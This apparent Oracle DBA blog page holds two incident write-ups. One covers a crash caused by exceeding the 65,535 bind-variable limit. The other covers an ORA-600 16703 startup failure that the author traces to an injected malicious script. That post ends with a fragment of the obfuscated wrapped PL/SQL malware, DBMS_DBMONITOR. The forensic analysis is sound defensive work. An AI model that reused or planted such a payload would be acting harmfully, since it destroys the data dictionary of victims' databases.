标签云
asm恢复 bbed bootstrap$ dul In Memory kcbzib_kcrsds_1 kccpb_sanity_check_2 kfed MySQL恢复 ORA-00312 ORA-00607 ORA-00704 ORA-01110 ORA-01555 ORA-01578 ORA-08103 ORA-600 2131 ORA-600 2662 ORA-600 2663 ORA-600 3020 ORA-600 4000 ORA-600 4137 ORA-600 4193 ORA-600 4194 ORA-600 16703 ORA-600 kcbzib_kcrsds_1 ORA-600 KCLCHKBLK_4 ORA-15042 ORA-15196 ORACLE 12C oracle dul ORACLE PATCH Oracle Recovery Tools oracle加密恢复 oracle勒索 oracle勒索恢复 oracle异常恢复 Oracle 恢复 ORACLE恢复 ORACLE数据库恢复 oracle 比特币 OSD-04016 YOUR FILES ARE ENCRYPTED 勒索恢复 比特币加密文章分类
- Others (2)
- 中间件 (2)
- WebLogic (2)
- 操作系统 (102)
- 数据库 (1,674)
- DB2 (22)
- MySQL (73)
- Oracle (1,536)
- Data Guard (52)
- EXADATA (8)
- GoldenGate (22)
- ORA-xxxxx (159)
- ORACLE 12C (72)
- ORACLE 18C (6)
- ORACLE 19C (14)
- ORACLE 21C (3)
- Oracle 23ai (7)
- Oracle ASM (67)
- Oracle Bug (8)
- Oracle RAC (52)
- Oracle 安全 (6)
- Oracle 开发 (28)
- Oracle 监听 (28)
- Oracle备份恢复 (562)
- Oracle安装升级 (92)
- Oracle性能优化 (62)
- 专题索引 (5)
- 勒索恢复 (78)
- PostgreSQL (18)
- PostgreSQL恢复 (6)
- SQL Server (27)
- SQL Server恢复 (8)
- TimesTen (7)
- 达梦数据库 (2)
- 生活娱乐 (2)
- 至理名言 (11)
- 虚拟化 (2)
- VMware (2)
- 软件开发 (37)
- Asp.Net (9)
- JavaScript (12)
- PHP (2)
- 小工具 (20)
-
最近发表
- GoldenGate 19安装和打patch
- dd破坏asm磁盘头恢复
- 删除asmlib磁盘导致磁盘组故障恢复
- Kylin Linux 安装19c
- ORA-600 krse_arc_complete.4
- Oracle 19c 202410补丁(RUs+OJVM)
- ntfs MFT损坏(ntfs文件系统故障)导致oracle异常恢复
- .mkp扩展名oracle数据文件加密恢复
- 清空redo,导致ORA-27048: skgfifi: file header information is invalid
- A_H_README_TO_RECOVER勒索恢复
- 通过alert日志分析客户自行对一个数据库恢复的来龙去脉和点评
- ORA-12514: TNS: 监听进程不能解析在连接描述符中给出的SERVICE_NAME
- ORA-01092 ORA-00604 ORA-01558故障处理
- ORA-65088: database open should be retried
- Oracle 19c异常恢复—ORA-01209/ORA-65088
- ORA-600 16703故障再现
- 数据库启动报ORA-27102 OSD-00026 O/S-Error: (OS 1455)
- .[metro777@cock.li].Elbie勒索病毒加密数据库恢复
- 应用连接错误,初始化mysql数据库恢复
- RAC默认服务配置优先节点
标签归档:ORA-600 17147
ORA-07445 opiaba—绑定变量超过65535导致实例crash
数据库异常报ORA-07445 opiaba,ORA-00600 17147错,导致实例crash
Wed Mar 15 09:48:06 2023 Exception [type: SIGSEGV, SI_KERNEL(general_protection)] [ADDR:0x0] [PC:0x187B953, opiaba()+639] [flags: 0x0, count: 1] Errors in file /u01/app/oracle/diag/rdbms/xifenfei/xifenfei3/trace/xifenfei3_ora_169909.trc (incident=446531): ORA-07445: 出现异常错误: 核心转储 [opiaba()+639] [SIGSEGV] [ADDR:0x0] [PC:0x187B953] [SI_KERNEL(general_protection)] [] Incident details in: /u01/app/oracle/diag/rdbms/xifenfei/xifenfei3/incident/incdir_446531/xifenfei3_ora_169909_i446531.trc Use ADRCI or Support Workbench to package the incident. See Note 411.1 at My Oracle Support for error and packaging details. Wed Mar 15 09:48:07 2023 Dumping diagnostic data in directory=[cdmp_20230315094807], requested by (instance=3, osid=169909), summary=[incident=446531]. Wed Mar 15 09:48:08 2023 Sweep [inc][446531]: completed Sweep [inc2][446531]: completed Wed Mar 15 09:48:33 2023 Errors in file /u01/app/oracle/diag/rdbms/xifenfei/xifenfei3/trace/xifenfei3_pmon_161557.trc (incident=440035): ORA-00600: internal error code, arguments: [17147], [0x4AFC25D0C8], [], [], [], [], [], [], [], [], [], [] Incident details in: /u01/app/oracle/diag/rdbms/xifenfei/xifenfei3/incident/incdir_440035/xifenfei3_pmon_161557_i440035.trc Use ADRCI or Support Workbench to package the incident. See Note 411.1 at My Oracle Support for error and packaging details. Wed Mar 15 09:48:33 2023 Dumping diagnostic data in directory=[cdmp_20230315094833], requested by (instance=3, osid=161557 (PMON)), summary=[incident=440035]. Errors in file /u01/app/oracle/diag/rdbms/xifenfei/xifenfei3/trace/xifenfei3_pmon_161557.trc: ORA-00600: internal error code, arguments: [17147], [0x4AFC25D0C8], [], [], [], [], [], [], [], [], [], [] PMON (ospid: 161557): terminating the instance due to error 472 Wed Mar 15 09:48:34 2023 opiodr aborting process unknown ospid (170089) as a result of ORA-1092
对应的trace文件信息
*** 2023-03-15 09:09:34.862 *** SESSION ID:(1858.63187) 2023-03-15 09:09:34.862 *** CLIENT ID:() 2023-03-15 09:09:34.862 *** SERVICE NAME:(xifenfei) 2023-03-15 09:09:34.862 *** MODULE NAME:(JDBC Thin Client) 2023-03-15 09:09:34.862 *** ACTION NAME:() 2023-03-15 09:09:34.862 Dump continued from file: /u01/app/oracle/diag/rdbms/xifenfei/xifenfei3/trace/xifenfei3_ora_116886.trc ORA-07445: 出现异常错误: 核心转储 [opiaba()+639] [SIGSEGV] [ADDR:0x0] [PC:0x187B953] [SI_KERNEL(general_protection)] [] ========= Dump for incident 326049 (ORA 7445 [opiaba()+639]) ======== ----- Beginning of Customized Incident Dump(s) ----- Exception [type: SIGSEGV, SI_KERNEL(general_protection)] [ADDR:0x0] [PC:0x187B953, opiaba()+639] [flags: 0x0, count: 1] Registers: %rax: 0x00000046fa212588 %rbx: 0x00000046762ee798 %rcx: 0x0000000000003200 %rdx: 0x0000000000000000 %rdi: 0x0000000000007340 %rsi: 0x0000000000007340 %rsp: 0x00007fffffff41d0 %rbp: 0x00007fffffff4240 %r8: 0x00000044a8599f00 %r9: 0x0000000000000099 %r10: 0x0000000000000b34 %r11: 0x00000046fa211720 %r12: 0x00000046fa5c7488 %r13: 0x0000000000000000 %r14: 0x0200000046fa2125 %r15: 0x0000000000000005 %rip: 0x000000000187b953 %efl: 0x0000000000010202 opiaba()+625 (0x187b945) jmp 0x187b982 opiaba()+627 (0x187b947) movzbl 0x2c(%rbx),%r15d opiaba()+632 (0x187b94c) mov %r14,-0x60(%rbp) opiaba()+636 (0x187b950) mov %rax,%r14 > opiaba()+639 (0x187b953) movswq 0xa(%r14),%rcx opiaba()+644 (0x187b958) cmp %ecx,%r15d opiaba()+647 (0x187b95b) jne 0x187b976 opiaba()+649 (0x187b95d) mov 0x18(%rbx),%rdi opiaba()+653 (0x187b961) lea 0xc(%r14),%rsi *** 2023-03-15 09:09:34.863 dbkedDefDump(): Starting a non-incident diagnostic dump (flags=0x3, level=3, mask=0x0) ----- Current SQL Statement for this session (sql_id=5cvg8vqsbr8j6) ----- BEGIN UPDATE t_xifenfei SET valid_param=:1 , comm_addr1 = :2 , password=:3 , customer_type = :4 , comm_no=:5 , date_grade_no = :6 , date_grade_flag=:7 , curve_config_no = :8 , curve_config_flag=:9 , baudrate = :10 , meas_order=:11 , meter_no = :12 , kind_no=:13 , tariff_count = :14 , meter_digits = :15 , import_user=:16 , readmeter_flag = :17 ,status_code=:18 WHERE meter_id = :19 ; ………… ; UPDATE t_xifenfei SET valid_param=:94982 , comm_addr1 = :94983 , password=:94984 , customer_type = :94985 , comm_no=:94986 , date_grade_no = :94987 , date_grade_flag=:94988 , curve_config_no = :94989 , curve_config_flag=:94990 , baudrate = :94991 , meas_order=:94992 , meter_no = :94993 , kind_no=:94994 , tariff_count = :94995 , meter_digits = :94996 , import_user=:94997 , readmeter_flag = :94998 ,status_code=:94999 WHERE meter_id = :95000 ;END;
写了一个begin end,里面对于同一个update语句进行多次绑定变量实现批量提交功能,绑定变量的数量达到95000个,远超oracle官方限制的65535的极限,触发类似Bug 12578873 ORA-7445 [opiaba] when using more than 65535 bind variables
处理方法减少绑定变量数量,不能超过65535个
10g数据库遭遇ORA-600 16703
ORA-600 16703
有客户反馈10g数据库启动报ORA-00704 ORA-00600,具体如下
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - 64bi PL/SQL Release 10.2.0.3.0 - Production CORE 10.2.0.3.0 Production TNS for IBM/AIX RISC System/6000: Version 10.2.0.3.0 - Productio NLSRTL Version 10.2.0.3.0 - Production
Fri Jan 4 10:11:05 2019 MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set Fri Jan 4 10:11:05 2019 SMON: enabling cache recovery Fri Jan 4 10:11:05 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_1826952.trc: ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 10:11:06 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_1826952.trc: ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 10:11:06 2019 Error 704 happened during db open, shutting down database USER: terminating instance due to error 704 Instance terminated by USER, pid = 1826952 ORA-1092 signalled during: alter database open...
看到这个错误第一想到以前的ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [],但是有几个地方不同:1)根据以往恢复经验这个错误都出现在11.2.0.4版本数据库中;2)以往的ORA-600 16703错误最后值是20,而这次是28
分析数据库故障过程
节点一因为其他错误重启,重启之后报大量错误,然后abort掉.
--节点1 Fri Jan 4 06:11:00 2019 Database Characterset is ZHS16GBK replication_dependency_tracking turned off (no async multimaster replication found) Starting background process QMNC QMNC started with pid=29, OS id=2883786 Fri Jan 4 06:11:07 2019 SMON: Parallel transaction recovery tried Fri Jan 4 06:11:07 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2769106.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020E4E7258], [257], [0], [], [], [], [] Fri Jan 4 06:11:09 2019 ORA-600 signalled during: ALTER DATABASE OPEN... Fri Jan 4 06:11:09 2019 Trace dumping is performing id=[cdmp_20190104061109] Fri Jan 4 06:11:30 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2240550.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-20001: the IP can not logon ORA-06512: at line 36 Fri Jan 4 06:12:35 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2793508.trc: ORA-00600: internal error code, arguments: [16659], [kqldtu], [D], [0], [65], [], [], [] Fri Jan 4 06:12:40 2019 Trace dumping is performing id=[cdmp_20190104061240] Fri Jan 4 06:16:10 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_1933540.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020D957260], [1793], [0], [], [], [], [] Fri Jan 4 06:16:10 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2793546.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020D957260], [1793], [0], [], [], [], [] Fri Jan 4 06:16:11 2019 Trace dumping is performing id=[cdmp_20190104061611] Fri Jan 4 06:16:15 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_smon_3055636.trc: ORA-00600: internal error code, arguments: [insSetColumnInfo_1], [8], [8], [], [], [], [], [] Fri Jan 4 06:16:16 2019 Non-fatal internal error happenned while SMON was doing logging scn->time mapping. SMON encountered 1 out of maximum 100 non-fatal internal errors. Fri Jan 4 06:17:28 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2035774.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020D957260], [1793], [0], [], [], [], [] ………… Fri Jan 4 06:56:47 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_smon_3055636.trc: ORA-00600: internal error code, arguments: [insSetColumnInfo_1], [8], [8], [], [], [], [], [] Fri Jan 4 06:56:49 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_3072030.trc: ORA-07445: exception encountered: core dump [] [] [] [] [] [] ORA-06544: PL/SQL: internal error, arguments: [], [interpreter cannot interpret pcode], [], [], [], [], [], [] ORA-06544: PL/SQL: internal error, arguments: [], [interpreter cannot interpret pcode], [], [], [], [], [], [] Fri Jan 4 06:56:50 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_pmon_3092524.trc: ORA-00474: SMON process terminated with error Fri Jan 4 06:56:50 2019 PMON: terminating instance due to error 474 Fri Jan 4 06:56:50 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_lms0_3178590.trc: ORA-00474: SMON process terminated with error Fri Jan 4 06:56:50 2019 System state dump is made for local instance System State dumped to trace file /oracle/admin/xifenfei/bdump/xifenfei1_diag_434192.trc Fri Jan 4 06:56:51 2019 Shutting down instance (abort)
节点一重启触发故障之后,节点二也开始报错,然后数据库直接挂掉
--节点2 Fri Jan 4 06:21:19 2019 Trace dumping is performing id=[cdmp_20190104062118] Fri Jan 4 06:21:22 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j000_1253440.trc: ORA-00600: internal error code, arguments: [kghGetHpSz1], [0x7000001DF886220], [], [], [], [], [], [] Fri Jan 4 06:21:24 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei2_ora_1835262.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-20001: the IP can not logon ORA-06512: at line 36 Fri Jan 4 06:21:56 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j002_1777888.trc: ORA-07445: exception encountered: core dump [] [] [] [] [] [] Fri Jan 4 06:24:38 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j003_1589340.trc: ORA-00600: internal error code, arguments: [16659], [kqldtu], [D], [0], [97952], [], [], [] Fri Jan 4 06:24:44 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j003_1589340.trc: ORA-12012: error on auto execute of job 351 ORA-12008: error in materialized view refresh path ORA-00600: internal error code, arguments: [16659], [kqldtu], [D], [0], [97952], [], [], [] Fri Jan 4 06:28:48 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j001_1417456.trc: ORA-00600: internal error code, arguments: [kkzufst], [18446744073709551615], [], [], [], [], [], [] Fri Jan 4 06:28:49 2019 ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x1104B2580], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [insSetColumnInfo_1], [8], [8], [], [], [], [], [] Fri Jan 4 07:30:25 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j002_2121800.trc: ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [kggfaAllocFunc1], [], [], [], [], [], [], [] ………… Fri Jan 4 07:31:23 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_pmon_634956.trc: ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] Fri Jan 4 07:31:24 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_pmon_634956.trc: ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] Fri Jan 4 07:31:24 2019 PMON: terminating instance due to error 472 Fri Jan 4 07:31:24 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_lms0_569432.trc: ORA-00472: PMON process terminated with error
两个节点再次启动报ORA-600 16703错误
Fri Jan 4 07:31:50 2019 MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set Fri Jan 4 07:31:50 2019 SMON: enabling cache recovery Fri Jan 4 07:31:50 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei2_ora_3813516.trc: ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 07:31:52 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei2_ora_3813516.trc: ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 07:31:52 2019 Error 704 happened during db open, shutting down database USER: terminating instance due to error 704 Fri Jan 4 07:31:52 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_lms0_3780764.trc: ORA-00704: bootstrap process failure Instance terminated by USER, pid = 3813516 ORA-1092 signalled during: ALTER DATABASE OPEN...
分析故障原因
通过分析,确认该数据库被注入了恶意脚本,当发生重启之后导致数据库核心基表被破坏,从而使得数据库无法正常启动
procedure DBMS_DBMONITOR wrapped a000000 369 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 7 15a 171 VKGnETw5GkgNlUvXadIYpQ2thwAwgzKur9zWZ47SR+pHN0bgoPvQ8ezdufYxFkzCmAQA8xT2 IQkFph+2IhlEBrPrXe14giDow/HzZI43FwLiMlynCYjnzQh3aXRSIVOalcwGAfUvgCip6Eng OWA8Vq49YJ38WCPZjq2P5Dc428Wa1ZOPMb+E7GPs8ZOWM7RWsQdMzx/pqFncbX/tLwp0NY5E Uu4E54MZ34yVtDQybwljVqp06KHqWN/ZwZJpvT+2gO4hRNX2UyE7laWCXzM2IR05BTGf2yoZ +E7eIn6kciinFmhcUiBuszxE0pykt+moWZuuDuj9ebUXmj+0Mx7A+eQc6tp7wLHRCHYb6p0D VtDc4f6